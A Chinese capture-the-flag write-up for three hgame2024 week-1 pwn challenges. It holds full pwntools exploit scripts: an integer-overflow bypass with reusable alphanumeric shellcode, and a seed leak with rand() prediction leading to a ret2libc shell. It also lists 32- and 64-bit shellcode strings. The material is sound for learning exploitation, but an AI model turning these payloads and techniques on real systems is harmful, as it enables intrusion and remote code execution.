[pwn]hgame2024 week1 WriteUp
1.EzSignIn
簽到題,直接nc
2.ezshellcode
checksec,保護全開64位程序
丟IDA

跟進一下myread函數(shù)

可以看到會執(zhí)行寫入的內(nèi)存,但有兩個點
一是長度限制,可以通過整型溢出繞過,二是myread函數(shù)會檢查寫入的內(nèi)容,必須為字母或數(shù)字
看到題目就已經(jīng)猜到了,這里寫入可見字符shellcode
#exp
from pwn import *
p=remote("139.196.200.143",32346)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
#一開始直接輸入打不出來,仔細看了看應該是因為myread會檢查v5個字符,整型溢出得到的v5寫不滿會導致exit,因此加了一個補齊
payload=shellcode.ljust(65545,'a')
p.sendline(b'-1')
p.sendline(payload)
p.interactive()
分享兩個可見字符shellcode,都可以在網(wǎng)上找到
64位:
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
32位:
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
3.Elden Random Challenge
checksec,64位程序

IDA反匯編


首先要求輸入一個name,然后需要連續(xù)輸入99個隨機數(shù),進入myread函數(shù)存在棧溢出
只要調(diào)用ctpyes庫模擬隨機數(shù),然后棧溢出ret2libc就行了
其中格式化字符串%s打印buf時可以泄露seed內(nèi)容,查看棧空間可以看出來

buf和seed相差0x12-0x4=0xE,seed占四個字節(jié)
(這里我一開始打算直接srand(time(0)撞時間戳,但是一直存在誤差,所以這樣做))
接下來就可以ret2libc了,注意堆棧平衡
附完整exp
import struct
from pwn import *
import ctypes
#hgame
p=remote("47.100.137.175",32537)
elf=ELF("./vuln")
libc=ELF("./libc.so.6")
myread_addr=elf.sym["myread"]
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
random_libc = ctypes.CDLL("./libc.so.6")
random_libc.srand.argtypes = [ctypes.c_uint]
pop_rdi_ret=0x401423
ret_addr=0x40101a
payload=b'a'*0xE
p.sendafter(b'tell me thy name.',payload)
p.recvuntil(b'a'*0xE)
seed=struct.unpack("<i",p.recv(4))[0] #接受到四個字節(jié),轉(zhuǎn)換成整數(shù)形式,注意小端序
print(seed)
random_libc.srand(seed)
for i in range(99):
result=random_libc.rand()%100+1
#print(str(result))
p.send(p64(result)) #注意輸入數(shù)字時read函數(shù)讀取八個字節(jié),這里采用p64形式,sendline輸入的'\n'也會有影響
payload=cyclic(0x38)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(myread_addr)
p.sendline(payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
base_addr = puts_addr - libc.sym["puts"]
system_addr = base_addr + libc.sym["system"]
binsh_addr = base_addr + next(libc.search(b'/bin/sh\x00'))
payload=cyclic(0x38)+p64(ret_addr)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload)
p.interactive()
浙公網(wǎng)安備 33010602011771號